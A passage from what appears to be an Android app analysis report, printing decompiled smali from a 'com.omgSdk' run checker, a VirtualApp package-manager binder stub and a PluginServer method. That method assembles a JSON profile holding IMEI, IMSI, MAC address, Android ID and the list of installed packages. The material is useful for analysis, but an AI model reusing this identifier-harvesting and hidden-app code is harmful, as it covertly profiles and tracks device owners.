                              848invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              850const-string/jumbo v3, "BATTERY_CHANGED current-- "
                              852invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              853move-result-object v2
                              855invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              856move-result-object v2
                              858invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              859move-result-object v2
                              861invoke-static {v1, v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;Ljava/lang/String;)V
                              863iget-object v1, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              864const/4 v2, 0x5
                              866invoke-static {v1, v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;I)Z
                              867cond_4a6:
                              868iget-object v1, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              870invoke-static {v1}, Lcom/omgSdk/outport/RunChecker;->e(Lcom/omgSdk/outport/RunChecker;)Ljava/util/Set;
                              871move-result-object v1
                              872const/4 v2, 0x6
                              874invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              875move-result-object v2
                              877invoke-interface {v1, v2}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
                              878move-result v1
                              879if-eqz v1, :cond_ca
                              881iget-object v1, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              882const/4 v2, 0x6
                              884invoke-static {v1, v2}, Lcom/omgSdk/outport/RunChecker;->b(Lcom/omgSdk/outport/RunChecker;I)Z
                              885move-result v1
                              886if-eqz v1, :cond_ca
                              888iget-object v1, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              890invoke-static {v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              891move-result-object v1
                              893const-string/jumbo v2, "p99"
                              895const-string/jumbo v3, "0"
                              897invoke-interface {v1, v2, v3}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              898move-result-object v1
                              900invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              901move-result v1
                              902sub-int/2addr v0, v1
                              904invoke-static {v0}, Ljava/lang/Math;->abs(I)I
                              905move-result v0
                              907iget-object v1, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              909invoke-static {v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              910move-result-object v1
                              912const-string/jumbo v2, "p6"
                              913new-instance v3, Ljava/lang/StringBuilder;
                              915invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              917const-string/jumbo v4, ""
                              919invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              920move-result-object v3
                              922invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              923move-result-object v3
                              925invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              926move-result-object v3
                              928invoke-interface {v1, v2, v3}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              930iget-object v1, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              931new-instance v2, Ljava/lang/StringBuilder;
                              933invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              935const-string/jumbo v3, "BATTERY_CHANGED -- change "
                              937invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              938move-result-object v2
                              940invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              941move-result-object v0
                              943invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              944move-result-object v0
                              946invoke-static {v1, v0}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;Ljava/lang/String;)V
                              948iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              949const/4 v1, 0x6
                              951invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;I)Z
                              952goto/16 :goto_ca
                              APIs
                              • android.os.Binder.onTransact
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAppManager$Stub.getPackageInstalledUsers
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeIntArray
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IAppManager$Stub.scanApps
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAppManager$Stub.addVisibleOutsidePackage
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAppManager$Stub.removeVisibleOutsidePackage
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAppManager$Stub.isOutsidePackageVisible
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IAppManager$Stub.getInstalledAppInfo
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IAppManager$Stub.installPackage
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAppManager$Stub.isPackageLaunched
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IAppManager$Stub.setPackageHidden
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAppManager$Stub.installPackageAsUser
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IAppManager$Stub.uninstallPackageAsUser
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAppManager$Stub.uninstallPackage
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IAppManager$Stub.getInstalledApps
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedList
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IAppManager$Stub.getInstalledAppsAsUser
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedList
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IAppManager$Stub.getInstalledAppCount
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAppManager$Stub.isAppInstalled
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IAppManager$Stub.isAppInstalledAsUser
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.interfaces.IPackageObserver$Stub.asInterface
                              • com.lody.virtual.server.IAppManager$Stub.registerObserver
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.interfaces.IPackageObserver$Stub.asInterface
                              • com.lody.virtual.server.IAppManager$Stub.unregisterObserver
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readStrongBinder
                              • com.lody.virtual.server.interfaces.IAppRequestListener$Stub.asInterface
                              • com.lody.virtual.server.IAppManager$Stub.setAppRequestListener
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IAppManager$Stub.clearAppRequestListener
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IAppManager$Stub.getAppRequestListener
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeStrongBinder
                              Strings
                              • com.lody.virtual.server.IAppManager
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2const/4 v1, 0x1
                              3sparse-switch p1, :sswitch_data_20c
                              5invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
                              6move-result v1
                              7goto_9: return v1
                              8sswitch_a:
                              9const-string v0, "com.lody.virtual.server.IAppManager"
                              11invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              12goto/16 :goto_9
                              13sswitch_10:
                              14const-string v0, "com.lody.virtual.server.IAppManager"
                              16invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              18invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              19move-result-object v0
                              21invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IAppManager$Stub;->getPackageInstalledUsers(Ljava/lang/String;)[I
                              22move-result-object v0
                              24invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              26invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeIntArray([I)V
                              27goto/16 :goto_9
                              28sswitch_24:
                              29const-string v0, "com.lody.virtual.server.IAppManager"
                              31invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              33invoke-virtual {p0}, Lcom/lody/virtual/server/IAppManager$Stub;->scanApps()V
                              35invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              36goto/16 :goto_9
                              37sswitch_30:
                              38const-string v0, "com.lody.virtual.server.IAppManager"
                              40invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              42invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              43move-result-object v0
                              45invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IAppManager$Stub;->addVisibleOutsidePackage(Ljava/lang/String;)V
                              47invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              48goto/16 :goto_9
                              49sswitch_40:
                              50const-string v0, "com.lody.virtual.server.IAppManager"
                              52invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              54invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              55move-result-object v0
                              57invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IAppManager$Stub;->removeVisibleOutsidePackage(Ljava/lang/String;)V
                              59invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              60goto/16 :goto_9
                              61sswitch_50:
                              62const-string v2, "com.lody.virtual.server.IAppManager"
                              64invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              66invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              67move-result-object v2
                              69invoke-virtual {p0, v2}, Lcom/lody/virtual/server/IAppManager$Stub;->isOutsidePackageVisible(Ljava/lang/String;)Z
                              70move-result v2
                              72invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              73if-eqz v2, :cond_63
                              74move v0, v1
                              75cond_63:
                              76invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              77goto/16 :goto_9
                              78sswitch_67:
                              79const-string v2, "com.lody.virtual.server.IAppManager"
                              81invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              83invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              84move-result-object v2
                              86invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              87move-result v3
                              89invoke-virtual {p0, v2, v3}, Lcom/lody/virtual/server/IAppManager$Stub;->getInstalledAppInfo(Ljava/lang/String;I)Lcom/lody/virtual/remote/InstalledAppInfo;
                              90move-result-object v2
                              92invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              93if-eqz v2, :cond_84
                              95invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
                              97invoke-virtual {v2, p3, v1}, Lcom/lody/virtual/remote/InstalledAppInfo;->writeToParcel(Landroid/os/Parcel;I)V
                              98goto/16 :goto_9
                              99cond_84:
                              100invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              101goto/16 :goto_9
                              102sswitch_88:
                              103const-string v2, "com.lody.virtual.server.IAppManager"
                              105invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              107invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              108move-result-object v2
                              110invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              111move-result v3
                              113invoke-virtual {p0, v2, v3}, Lcom/lody/virtual/server/IAppManager$Stub;->installPackage(Ljava/lang/String;I)Lcom/lody/virtual/remote/InstallResult;
                              114move-result-object v2
                              116invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              117if-eqz v2, :cond_a6
                              119invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
                              121invoke-virtual {v2, p3, v1}, Lcom/lody/virtual/remote/InstallResult;->writeToParcel(Landroid/os/Parcel;I)V
                              122goto/16 :goto_9
                              123cond_a6:
                              124invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              125goto/16 :goto_9
                              126sswitch_ab:
                              127const-string v2, "com.lody.virtual.server.IAppManager"
                              129invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              131invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              132move-result v2
                              134invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              135move-result-object v3
                              137invoke-virtual {p0, v2, v3}, Lcom/lody/virtual/server/IAppManager$Stub;->isPackageLaunched(ILjava/lang/String;)Z
                              138move-result v2
                              140invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              141if-eqz v2, :cond_c2
                              142move v0, v1
                              143cond_c2:
                              144invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              145goto/16 :goto_9
                              146sswitch_c7:
                              147const-string v2, "com.lody.virtual.server.IAppManager"
                              149invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              151invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              152move-result v2
                              154invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              155move-result-object v3
                              157invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              158move-result v4
                              159if-eqz v4, :cond_db
                              160move v0, v1
                              161cond_db:
                              162invoke-virtual {p0, v2, v3, v0}, Lcom/lody/virtual/server/IAppManager$Stub;->setPackageHidden(ILjava/lang/String;Z)V
                              164invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              165goto/16 :goto_9
                              166sswitch_e3:
                              167const-string v2, "com.lody.virtual.server.IAppManager"
                              169invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              171invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              172move-result v2
                              174invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              175move-result-object v3
                              177invoke-virtual {p0, v2, v3}, Lcom/lody/virtual/server/IAppManager$Stub;->installPackageAsUser(ILjava/lang/String;)Z
                              178move-result v2
                              180invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              181if-eqz v2, :cond_fa
                              182move v0, v1
                              183cond_fa:
                              184invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              185goto/16 :goto_9
                              186sswitch_ff:
                              187const-string v2, "com.lody.virtual.server.IAppManager"
                              189invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              191invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              192move-result-object v2
                              194invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              195move-result v3
                              197invoke-virtual {p0, v2, v3}, Lcom/lody/virtual/server/IAppManager$Stub;->uninstallPackageAsUser(Ljava/lang/String;I)Z
                              198move-result v2
                              200invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              201if-eqz v2, :cond_116
                              202move v0, v1
                              203cond_116:
                              204invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              205goto/16 :goto_9
                              206sswitch_11b:
                              207const-string v2, "com.lody.virtual.server.IAppManager"
                              209invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              211invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              212move-result-object v2
                              214invoke-virtual {p0, v2}, Lcom/lody/virtual/server/IAppManager$Stub;->uninstallPackage(Ljava/lang/String;)Z
                              215move-result v2
                              217invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              218if-eqz v2, :cond_12e
                              219move v0, v1
                              220cond_12e:
                              221invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              222goto/16 :goto_9
                              223sswitch_133:
                              224const-string v0, "com.lody.virtual.server.IAppManager"
                              226invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              228invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              229move-result v0
                              231invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IAppManager$Stub;->getInstalledApps(I)Ljava/util/List;
                              232move-result-object v0
                              234invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              236invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              237goto/16 :goto_9
                              238sswitch_148:
                              239const-string v0, "com.lody.virtual.server.IAppManager"
                              241invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              243invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              244move-result v0
                              246invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              247move-result v2
                              249invoke-virtual {p0, v0, v2}, Lcom/lody/virtual/server/IAppManager$Stub;->getInstalledAppsAsUser(II)Ljava/util/List;
                              250move-result-object v0
                              252invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              254invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              255goto/16 :goto_9
                              256sswitch_161:
                              257const-string v0, "com.lody.virtual.server.IAppManager"
                              259invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              261invoke-virtual {p0}, Lcom/lody/virtual/server/IAppManager$Stub;->getInstalledAppCount()I
                              262move-result v0
                              264invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              266invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              267goto/16 :goto_9
                              268sswitch_172:
                              269const-string v2, "com.lody.virtual.server.IAppManager"
                              271invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              273invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              274move-result-object v2
                              276invoke-virtual {p0, v2}, Lcom/lody/virtual/server/IAppManager$Stub;->isAppInstalled(Ljava/lang/String;)Z
                              277move-result v2
                              279invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              280if-eqz v2, :cond_185
                              281move v0, v1
                              282cond_185:
                              283invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              284goto/16 :goto_9
                              285sswitch_18a:
                              286const-string v2, "com.lody.virtual.server.IAppManager"
                              288invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              290invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              291move-result v2
                              293invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              294move-result-object v3
                              296invoke-virtual {p0, v2, v3}, Lcom/lody/virtual/server/IAppManager$Stub;->isAppInstalledAsUser(ILjava/lang/String;)Z
                              297move-result v2
                              299invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              300if-eqz v2, :cond_1a1
                              301move v0, v1
                              302cond_1a1:
                              303invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              304goto/16 :goto_9
                              305sswitch_1a6:
                              306const-string v0, "com.lody.virtual.server.IAppManager"
                              308invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              310invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              311move-result-object v0
                              313invoke-static {v0}, Lcom/lody/virtual/server/interfaces/IPackageObserver$Stub;->asInterface(Landroid/os/IBinder;)Lcom/lody/virtual/server/interfaces/IPackageObserver;
                              314move-result-object v0
                              316invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IAppManager$Stub;->registerObserver(Lcom/lody/virtual/server/interfaces/IPackageObserver;)V
                              318invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              319goto/16 :goto_9
                              320sswitch_1bb:
                              321const-string v0, "com.lody.virtual.server.IAppManager"
                              323invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              325invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              326move-result-object v0
                              328invoke-static {v0}, Lcom/lody/virtual/server/interfaces/IPackageObserver$Stub;->asInterface(Landroid/os/IBinder;)Lcom/lody/virtual/server/interfaces/IPackageObserver;
                              329move-result-object v0
                              331invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IAppManager$Stub;->unregisterObserver(Lcom/lody/virtual/server/interfaces/IPackageObserver;)V
                              333invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              334goto/16 :goto_9
                              335sswitch_1d0:
                              336const-string v0, "com.lody.virtual.server.IAppManager"
                              338invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              340invoke-virtual {p2}, Landroid/os/Parcel;->readStrongBinder()Landroid/os/IBinder;
                              341move-result-object v0
                              343invoke-static {v0}, Lcom/lody/virtual/server/interfaces/IAppRequestListener$Stub;->asInterface(Landroid/os/IBinder;)Lcom/lody/virtual/server/interfaces/IAppRequestListener;
                              344move-result-object v0
                              346invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IAppManager$Stub;->setAppRequestListener(Lcom/lody/virtual/server/interfaces/IAppRequestListener;)V
                              348invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              349goto/16 :goto_9
                              350sswitch_1e5:
                              351const-string v0, "com.lody.virtual.server.IAppManager"
                              353invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              355invoke-virtual {p0}, Lcom/lody/virtual/server/IAppManager$Stub;->clearAppRequestListener()V
                              357invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              358goto/16 :goto_9
                              359sswitch_1f2:
                              360const-string v0, "com.lody.virtual.server.IAppManager"
                              362invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              364invoke-virtual {p0}, Lcom/lody/virtual/server/IAppManager$Stub;->getAppRequestListener()Lcom/lody/virtual/server/interfaces/IAppRequestListener;
                              365move-result-object v0
                              367invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              368if-eqz v0, :cond_209
                              370invoke-interface {v0}, Lcom/lody/virtual/server/interfaces/IAppRequestListener;->asBinder()Landroid/os/IBinder;
                              371move-result-object v0
                              372goto_204:
                              373invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeStrongBinder(Landroid/os/IBinder;)V
                              374goto/16 :goto_9
                              375cond_209: const/4 v0, 0x0
                              376goto/16 :goto_204
                              377nop
                              Cross References
                              APIs
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.content.Context.getPackageName
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.content.Context.getPackageName
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.toString
                              Strings
                              • type
                              • ps
                              • hsman
                              • hstype
                              • osVer
                              • screenWidth
                              • screenHeight
                              • ramSize
                              • imsi
                              • imei
                              • networkType
                              • appId
                              • channelId
                              • mac
                              • sdkIntVersion
                              • androidId
                              • noShields
                              • flag
                              • appType
                              • charge
                              • isMaxAu
                              • appPackage
                              • installPackageList
                              • packageName
                              • appLoc
                              • libVersion
                              • sdkMode
                              • SdkMode
                              • def
                              • isParent
                              • IsParent
                              • osCode
                              • pid
                              • PlatformType
                              • terminalInfo
                              • jsonService
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2new-instance v1, Lorg/json/JSONObject;
                              4invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                              6const-string/jumbo v2, "type"
                              8const-string/jumbo v3, "ps"
                              10invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              11new-instance v2, Lorg/json/JSONObject;
                              13invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                              15iget-object v3, p0, Lsdk/nicro/lu/ps/PluginServer;->a:Landroid/content/Context;
                              17invoke-static {v3}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              18move-result-object v3
                              20iget-object v4, p0, Lsdk/nicro/lu/ps/PluginServer;->a:Landroid/content/Context;
                              22invoke-virtual {v3, v4}, Lsdk/nicro/lu/s;->b(Landroid/content/Context;)Lsdk/nicro/lu/s$a;
                              23move-result-object v3
                              25const-string/jumbo v4, "hsman"
                              27invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->d()Ljava/lang/String;
                              28move-result-object v5
                              30invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              32const-string/jumbo v4, "hstype"
                              34invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->e()Ljava/lang/String;
                              35move-result-object v5
                              37invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              39const-string/jumbo v4, "osVer"
                              41invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->f()Ljava/lang/String;
                              42move-result-object v5
                              44invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              46const-string/jumbo v4, "screenWidth"
                              48invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->g()I
                              49move-result v5
